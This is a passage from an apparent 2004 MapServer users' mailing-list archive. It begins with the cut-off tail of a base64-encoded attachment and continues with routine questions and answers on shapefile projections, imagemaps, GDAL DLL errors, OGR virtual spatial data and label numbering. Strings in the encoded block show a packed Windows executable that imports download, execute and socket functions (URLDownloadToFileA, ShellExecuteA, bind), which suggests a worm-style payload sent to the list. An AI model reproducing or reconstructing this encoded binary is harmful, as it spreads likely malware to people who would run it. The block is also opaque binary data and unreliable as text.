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 D4oCQogHR0l19+lj////kIsCg8IEiQeDxwSD6QR38QHP6Uz///9eife5BwAAAIoHRyzoPAF3 94A/AHXyiweKXwRmwegIwcAQhsQp+IDr6AHwiQeDxwWJ2OLZjb4AwAAAiwcJwHQ8i18EjYQw pOMAAAHzUIPHCP+WgOQAAJWKB0cIwHTciflXSPKuVf+WhOQAAAnAdAeJA4PDBOvh/5aI5AAA YekEbP//AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAAMAAAAgAACADgAAAGAAAIAAAAAA AAAAAAAAAAAAAAEAAQAAADgAAIAAAAAAAAAAAAAAAAAAAAEAAAAAAFAAAACk8AAA6AIAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAABAAEAAAB4AACAAAAAAAAAAAAAAAAAAAABAAAAAACQAAAA kPMAABQAAAAAAAAAAAAAAKDAAAAoAAAAIAAAAEAAAAABAAQAAAAAAIACAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAgAAAgAAAAICAAIAAAACAAIAAgIAAAICAgADAwMAAAAD/AAD/AAAA//8A /wAAAP8A/wD//wAA////AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHd3d3 d3d3AAAAAAAAAAAAB4iIiIiIhwAAAAAAAAAAAAc4iDM4iDcAAAAAAAAAAAAHs4MAA4OHAAAA AAAAAAAAB/8w/7A4hwAAAAAAAAAAAAe4D7//A4cAAAAAAAAAAAAHgL//v/A3AAAAAAAAAAAA Bw//v/+/AwAAAAAAAAAAAAf/v/+//7AAAAAAAAAAAAAHd3d3d3d3AAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA//////////////// //////////////////////////////////////////////////////////////////////// ////////gAH//4AB//+AAf//gAH//4AB//+AAf//gAH//4AB//+AAf//gAH//4AB//////// //////////+IwwAAAAABAAEAICAQAAEABADoAgAAAQAAAAAAAAAAAAAAAADY9AAAgPQAAAAA AAAAAAAAAAAAAOX0AACQ9AAAAAAAAAAAAAAAAAAA8vQAAJj0AAAAAAAAAAAAAAAAAAD89AAA oPQAAAAAAAAAAAAAAAAAAAb1AACo9AAAAAAAAAAAAAAAAAAAEvUAALD0AAAAAAAAAAAAAAAA AAAe9QAAuPQAAAAAAAAAAAAAAAAAACn1AADA9AAAAAAAAAAAAAAAAAAANPUAAMj0AAAAAAAA AAAAAAAAAABA9QAA0PQAAAAAAAAAAAAAAAAAAAAAAAAAAAAATPUAAFr1AABq9QAAAAAAAHj1 AAAAAAAAhvUAAAAAAACQ9QAAAAAAAJ71AAAAAAAArvUAAAAAAAC49QAAAAAAAMz1AAAAAAAA 2PUAAAAAAADo9QAAAAAAAEtFUk5FTDMyLkRMTABhZHZhcGkzMi5kbGwAZ2RpMzIuZGxsAG9s ZTMyLmRsbABTSEVMTDMyLmRsbABzaGx3YXBpLmRsbAB1cmxtb24uZGxsAHVzZXIzMi5kbGwA d2luaW5ldC5kbGwAd3NvY2szMi5kbGwAAABMb2FkTGlicmFyeUEAAEdldFByb2NBZGRyZXNz AABFeGl0UHJvY2VzcwAAAFJlZ0Nsb3NlS2V5AAAARGVsZXRlREMAAENvSW5pdGlhbGl6ZQAA U2hlbGxFeGVjdXRlQQAAAFN0ckR1cEEAAABVUkxEb3dubG9hZFRvRmlsZUEAAHdzcHJpbnRm QQAAAEludGVybmV0T3BlbkEAAABiaW5kAAAAAAAAAAAAAAAAAAAAAAAAFgrBhmOyk2oqr6Zu AJhAXLQZtZdaq24muJBKNH5Eahk8lVsKrw1QeTw9aStnEBUOGlQDO1iWvIiOdHE4PHkHAUc3 N0hDsWh3EWVGEVh/qsUEcrWBTh8jPFHDf29qQhyEGzyqn7vHpwpKnjFuShwEVn4etUICdI9F jo+CtaCxtyanhKaLTnAUCURzOY+XGU+dpguZB41Hmz4oenCsZ5olbWYde0RvJ7havp2ng3o9 f5ALGoxpAGuUnnVoQopiKy+oDUsWkjkOAIwlTxDEnxk9QUxirm63HgkcSg== ----------ljegvobikwejncpvlnak-- From hrz at geodata.soton.ac.uk Tue Jun 8 04:03:27 2004 From: hrz at geodata.soton.ac.uk (Homme Zwaagstra) Date: Tue, 8 Jun 2004 12:03:27 +0100 Subject: [Mapserver-users] about projection In-Reply-To: References: Message-ID: <20040608110327.GA5386@truffles.geodata.soton.ac.uk> On Tue, Jun 08, 2004 at 03:21:53PM +0800, boli wrote: > How can we know the kind of projection used in a shape file? Sometimes we get a shape file from others. Ask the data provider to provide suitable projection metadata with the shape files; shape files do not in themselves contain projection. Having said this some packages can add an extra .prj file to the dataset (e.g. GDAL) in Well Known Text (WKT) that contains the coordinate system information. Kind regards, Homme Zwaagstra From publiek at home.nl Tue Jun 8 04:10:01 2004 From: publiek at home.nl (Marcel Koopman) Date: Tue, 8 Jun 2004 13:10:01 +0200 Subject: [Mapserver-users] Imagemap - works but no values are displayed Message-ID: <200406081110.i58BABFS008649@lists.gis.umn.edu> Hello, On the mapserver wiki there is an example for imagemap handling. http://mapserver.gis.umn.edu/cgi-bin/wiki.pl?Imagemap I've got this working, but when i click on the map, i never get a value returned. The shapeObj should have a value, but nvalue is 0. WHen i open my shapefile in arcexplorer i see some attributes like name etc. I can set this as a label. How does the code work with shapeObj->nvalue? I dont see anything returned. Any info is welcome! Thanks, Marcel From sebastien.dubois at esm2.imt-mrs.fr Tue Jun 8 04:28:36 2004 From: sebastien.dubois at esm2.imt-mrs.fr (=?iso-8859-1?b?U+liYXN0aWVu?= DUBOIS) Date: Tue, 8 Jun 2004 13:28:36 +0200 Subject: [Mapserver-users] mapserver and extern interfacing Message-ID: <1086694116.40c5a2e4b0bf3@webmail.esm2.imt-mrs.fr> hi all, if you take allok to the proprietary software like arcims soft, you'll see that most of these soft works like servlets and allow interfacing with other servlets which give them .xml or other. my query is to know if mapserver can work like this. Let's explain this more . yet it's possible to use a database like postgresql to load layer. but is it possible to send .shp to mapserv for a layer from an extern source (without work with the database as a intermediary) in other words is there an api of mapserv which allow to custumize this soft? thanks in advance -- S?bastien ------------------------------------------------- This mail sent through IMP: http://horde.org/imp/ From mweinelt at planiglobe.com Tue Jun 8 04:24:27 2004 From: mweinelt at planiglobe.com (Martin Weinelt) Date: Tue, 8 Jun 2004 13:24:27 +0200 Subject: [Mapserver-users] CGI: Projecting to polar aspects problems Message-ID: <200406081324.27879.mweinelt@planiglobe.com> Hi list, projecting point shapefiles with geographic co-ordinates to polar aspect projections (such as Lambert Azimuthal in polar aspect or Polar Strereographic) result in map images missing data points 'close' to the pole(s), especially when the pole(s) are the center of the image. I have tested this effect for LAEA and STERE. This also affects long/lat GRID layers. Currently I project the shapefiles in advance to avoid the effect, but in the long run this is not an option for me. What are practical solutions? 1. Use CGI with dynamically projected shapefiles? 2. Move over the entire installation to MapScript ? Thanks, Martin This is mapserver 4.2, 4.0, proj4.4.8 From eduardo at consultoria.eti.br Tue Jun 8 04:13:58 2004 From: eduardo at consultoria.eti.br (Eduardo Patto Kanegae) Date: Tue, 08 Jun 2004 08:13:58 -0300 Subject: [Mapserver-users] crash running gdal-120-ntbin.zip tools Message-ID: <40C59F76.6050101@consultoria.eti.br> hello. I've just downloaded gdal-120-ntbin.zip package from Gdal site, but when trying to run any of the following tools: gdal_translate.exe gdalinfo.exe gdalwarp.exe gdalwarpsimple.exe ogr2ogr.exe ogrinfo.exe I got the following error message at my winXP: "This aplication could not be loaded because xerces-c_2_3_0.dll was not found..." where I can find this DLL ? I have xerces-c_1_6_0.dll ( downloaded with mapserver4 from DMsolutions) but it seems it has no effect... the tools are asking for xerces-c_2_3_0.dll. thanks Eduardo Patto Kanegae http://www.consultoria.eti.br UIN: 303747254 I Encontro Nacional de Usu?rios MapServer - http://mapserver.cttmar.univali.br/encontro2004 Projeto MapServer Brasil - http://mapserver.cttmar.univali.br ***Fim da Mensagem / End of Message *** From alhim at intracom.gr Tue Jun 8 04:45:26 2004 From: alhim at intracom.gr (Alexandros Chimarios) Date: Tue, 8 Jun 2004 14:45:26 +0300 Subject: [Mapserver-users] Scale prob Message-ID: <200406081445.26460.alhim@intracom.gr> Hello, I have a problem on reading the right map scale. The value stored in my mapObj.scale attribute is wrong. I used the ArcExplorer on the same set of dbf's in order to test it. The Python-Mapscript scale value is very small comparing with the ArcExplorer's one, which sounds more realistic. Does anyone knows how to solve this problem ? From steve.lime at dnr.state.mn.us Tue Jun 8 05:19:41 2004 From: steve.lime at dnr.state.mn.us (Steve Lime) Date: Tue, 08 Jun 2004 07:19:41 -0500 Subject: [Mapserver-users] Mapserver and OFFSETITEMS Message-ID: Nope, sorry. Steve >>> 06/08/04 3:16 AM >>> Hi, when I draw an label I can use an table column which holds the angle (LABELANGLEITEM) for each label. Is there an equivalent for OFFSET-values? Thanks Steffen _______________________________________________ Mapserver-users mailing list Mapserver-users at lists.gis.umn.edu http://lists.gis.umn.edu/mailman/listinfo/mapserver-users From imd_listuser at comcast.net Tue Jun 8 05:25:38 2004 From: imd_listuser at comcast.net (IMD Listuser) Date: Tue, 8 Jun 2004 08:25:38 -0400 Subject: [Mapserver-users] Virtual Spatial Data from SQL Server Message-ID: <90264B8395BF154DB2CB12B068DFFAE90529DE@westward.im-design.net> I'm confused! Ive followed the instructions in the wiki at http://mapserver.gis.umn.edu/cgi-bin/wiki.pl?VirtualSpatialData >From what I can tell, the .ovf file needs to contain an element which specifies the name of the Layer analogous to the NAME element in a LAYER section in a .map file. Is this incorrect? Also, the element is intended to specify the table in which the x and y columns for the element exist, no? As an alternative to , my understanding is that element can be used to pass a SQL statement to retrieve a subset of columns or rows accordin to the SQL itself. Please correct me if I am wrong. So, I do not understand what you mean by: "create a new database and put ur table there ur ODBC is pointing to the wrong table by default" My sense is that the ODBC does not actually point to the table, rather the database Thanks Charlie Charlie Van Dusen charlie at im-design.net -----Original Message----- From: Jenu Abraham [mailto:jenu_ab at hotmail.com] Sent: Monday, June 07, 2004 11:43 PM To: IMD Listuser Subject: RE: [Mapserver-users] Virtual Spatial Data from SQL Server "ogrinfo VesselServer.ovf" command gave a line in the end 1: VPosition (Point) what is that? because in ur query u have given table name as "position" VPosition is another table in ur database and ogrinfo is trying to access that table... --------------------------------------------- try this ovf file... witht he command "ogrinfo VesselServer.ovf" ODBC:userid/password at Vessels position wkbPoint WGS84 ------------------------------------------------- and again if u see C:\Inetpub\wwwroot\VESSEL~1>ogrinfo VesselServer.ovf ERROR 4: Update access not supported for VRT datasources. Had to open data source read-only. INFO: Open of `VesselServer.ovf' using driver `VRT' successful. 1: VPosition (Point) instead of C:\Inetpub\wwwroot\VESSEL~1>ogrinfo VesselServer.ovf ERROR 4: Update access not supported for VRT datasources. Had to open data source read-only. INFO: Open of `VesselServer.ovf' using driver `VRT' successful. 1: position (Point) then ur trouble lies here.............. as i said earlier.....create a new database and put ur table there ur ODBC is pointing to the wrong table by default ------------------------------------- >From: "IMD Listuser" >To: "Jenu Abraham" >Subject: RE: [Mapserver-users] Virtual Spatial Data from SQL Server >Date: Mon, 7 Jun 2004 20:55:09 -0400 > > >Hi > >What is the proper GDAL DLL. The one I have is 1.1 > >I have changed my setup and simplified. I have a table with 100 records >each having id, latitude_dd, and longitude_dd (with test data) > >My .ovf file: > > > > ODBC:userid/password at Vessels > select * from position where id = 10 > wkbPoint > WGS84 > y="latitude_dd"/> > > > >Tha map file layer: > > LAYER > NAME "VPosition" > TYPE POINT > CONNECTIONTYPE OGR > CONNECTION "C:\Inetpub\wwwroot\VesselServer\VesselServer.ovf" > DATA "VPosition" > STATUS ON > CLASS > COLOR 255 255 0 > OUTLINECOLOR 0 0 0 > SYMBOL 'circle' > SIZE 12 > LABEL > SIZE MEDIUM > TYPE BITMAP > COLOR 0 0 0 > END > END > END > > >Here are the results shown > >*********************************************************************** * >****** >*********************************************************************** * >****** >C:\Inetpub\wwwroot\VESSEL~1>ogrinfo VesselServer.ovf >ERROR 4: Update access not supported for VRT datasources. >Had to open data source read-only. >INFO: Open of `VesselServer.ovf' >using driver `VRT' successful. >1: VPosition (Point) > >C:\Inetpub\wwwroot\VESSEL~1>ogrinfo VesselServer.ovf VPosition >ERROR 4: Update access not supported for VRT datasources. >Had to open data source read-only. >INFO: Open of `VesselServer.ovf' >using driver `VRT' successful. > >Layer name: VPosition >Geometry: Point >Feature Count: 1 >ERROR 1: SetAttributeFilter() not supported on ExecuteSQL() results. >Extent: (11.222492, 54.580212) - (11.222492, 54.580212) >Layer SRS WKT: >GEOGCS["WGS 84", > DATUM["WGS_1984", > SPHEROID["WGS 84",6378137,298.257223563, > AUTHORITY["EPSG","7030"]], > TOWGS84[0,0,0,0,0,0,0], > AUTHORITY["EPSG","6326"]], > PRIMEM["Greenwich",0, > AUTHORITY["EPSG","8901"]], > UNIT["degree",0.0174532925199433, > AUTHORITY["EPSG","9108"]], > AXIS["Lat",NORTH], > AXIS["Long",EAST], > AUTHORITY["EPSG","4326"]] >id: Integer (10.0) >longitude_dd: Real (0.0) >latitude_dd: Real (0.0) >ERROR 1: SetAttributeFilter() not supported on ExecuteSQL() results. >OGRFeature(VPosition):0 > id (Integer) = 10 > longitude_dd (Real) = 11.22249187974292 > latitude_dd (Real) = 54.58021225220185 > POINT (11.22249188 54.58021225 0.000) > >C:\Inetpub\wwwroot\VESSEL~1> >*********************************************************************** * >****** >*********************************************************************** * >****** > >This shows what I would expect from the sql supplied. > >Any other ideas? > >Charlie Van Dusen >charlie at im-design.net > >-----Original Message----- >From: Jenu Abraham [mailto:jenu_ab at hotmail.com] >Sent: Monday, June 07, 2004 6:11 PM >To: IMD Listuser >Subject: RE: [Mapserver-users] Virtual Spatial Data from SQL Server > > >i dont think its a problem with mapserver version,,..it looks fine to >me, if u had installed the proper gdall DLL in ur winNT directory > >that "Error- 1" u see two times when running the command "ogrinfo >VesselServer.ovf VesselPosition " is a problem... it shouldnt be >there.... >i also faced that .... > >try to make if simple at first and move up... > >try the .. >----------------------------- >when you give the command "ogrinfo VesselServer.ovf " what do you >see...?????????? >do you see the name of the table you are going to query???? OR do you >see some other table from the database... > >that might be the PROBLEM >--------------------- > >try this.... > >made a new database....create a new table in there....make sure the ODBC >points to that database... and try running ogrinfo.... > >if it runs without the Error 1 in it then u are fine.... >try then with the map... > >write back.. about the progress... > >Jenu > >_________________________________________________________________ >Getting married? Find great tips, tools and the latest trends at MSN >Life Events. http://lifeevents.msn.com/category.aspx?cid=married > > _________________________________________________________________ Is your PC infected? Get a FREE online computer virus scan from McAfee(r) Security. http://clinic.mcafee.com/clinic/ibuy/campaign.asp?cid=3963 From steve.lime at dnr.state.mn.us Tue Jun 8 05:26:12 2004 From: steve.lime at dnr.state.mn.us (Steve Lime) Date: Tue, 08 Jun 2004 07:26:12 -0500 Subject: [Mapserver-users] Autonumbering of labels? Message-ID: Labeling isn't random so you might be able to figure something out. This type of an operation usually involves a query to get at attributes of features you want. So, in MapScript you'd do something like: - draw a base image for the required extent - query the points data using that extent - loop through the results drawing each point on the base image, using a counter to compute the label values - produce the output page with the image and the list of point features So you could have the map with gas station's labeled 1to 10, and then a list with the names of each station. That's an easy solution... Steve >>> Doug 06/08/04 12:22 AM >>> That is exactly what we want to do. We have an existing site that uses a commercial product with an expensive annual license fee that our project management team would like to see us replace with OpenSource alternatives. This site does show a textual list of feature attributes whose numbers correspond to labels on the map. Are you saying that with or without ordered labelling, there's no way to order the features predictably? BTW, thanks for everyone's expert advice. We're brand new to MapServer and still fairly new to GIS in general. Doug Steve Lime wrote: > Actually I think I know how it could be done regardless of the value of > force. When you build the labels you could use a special string like > %rn% to denote a draw time substitution (just like runtime substitutions > with the CGI). Then as you plop labels on the map you could keep count > and each label gets the value of count+1 substituted for %rn%. If a > label isn't drawn, no biggie cause the counter doesn't go anywhere > either. > > I wonder though if there is real value in this. What do the numbers > really mean? I could see utility in labeling features and then > referencing them by number elsewhere on a page (e.g. found 5 hotels > within 10 miles of point x). However, there's no way to tie numbers to > actual features, not with more work. > > Could someone file a bug/feature request on this one so it doesn't get > lost? I won't have time until after MUM2 to think about it. > > Steve > > >>>>Stephen Woodbridge 06/07/04 4:18 PM >>> > > Steve Lime, > > This should simplify the issues you raised about this feature. > Basically, the autonumber feature should just draw all the points in the > > view using the FORCE option so there are no renumbering issues, because > they are all drawn. > > -Steve W. > > Doug wrote: > > >>Stephen Woodbridge wrote: >> >> >>>Doug wrote: >>> >>> >>>>The reason we're trying to stay away from MapScript is the thread >>>>safety issues we've been reading about. That and the fact that we > > do > >>>>all of our application coding in Java, for which there doesn't > > appear > >>>>to be any standard, accepted implementation. >>>> >>>>So how to people use MapScript anyway if it's not thread safe? >>>>Always as separate CGI processes? >>> >>> >>> >>>Yes, PHP is required to run as a CGI process and likewise for Perl >>>(ie: you can not run it as an apache module or mod_perl application). >>> >>>So what are your requirements regarding autonumbering and label >>>collisions? >>> >>>-Steve W. >> >> >>If I understand what you're asking, I think we want to show all labels > > >>all the time, even if they collide. Or even if some hid others, we >>wouldn't want to re-order the numbers. >> >>Doug >>_______________________________________________ >>Mapserver-users mailing list >>Mapserver-users at lists.gis.umn.edu >>http://lists.gis.umn.edu/mailman/listinfo/mapserver-users >> > > > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > > > _______________________________________________ Mapserver-users mailing list Mapserver-users at lists.gis.umn.edu http://lists.gis.umn.edu/mailman/listinfo/mapserver-users From EZS at DeStraat.NL Tue Jun 8 05:37:46 2004 From: EZS at DeStraat.NL (Emil Zegers) Date: Tue, 08 Jun 2004 14:37:46 +0200 Subject: [Mapserver-users] mapserver and extern interfacing Message-ID: Hello S?bastien , You can do this by using MapServer as a WMS or WFS client. Take a look at http://mapserver.gis.umn.edu/doc.html for info on the following items: OGC WMS Client OGC WMS Server OGC WFS Client OGC WFS Server Also take a look at the Wiki on http://mapserver.gis.umn.edu/cgi-bin/wiki.pl for more info on WMSMapServer and WFSMapServer. It is not exactly like sending a .shp to MapServer but might suit you needs. Best regards, Emil Zegers >>> S?bastien DUBOIS 06/08/04 01:28pm >>> hi all, if you take allok to the proprietary software like arcims soft, you'll see that most of these soft works like servlets and allow interfacing with other servlets which give them .xml or other. my query is to know if mapserver can work like this. Let's explain this more . yet it's possible to use a database like postgresql to load layer. but is it possible to send .shp to mapserv for a layer from an extern source (without work with the database as a intermediary) in other words is there an api of mapserv which allow to custumize this soft? thanks in advance -- S?bastien ------------------------------------------------- This mail sent through IMP: http://horde.org/imp/ _______________________________________________ Mapserver-users mailing list Mapserver-users at lists.gis.umn.edu 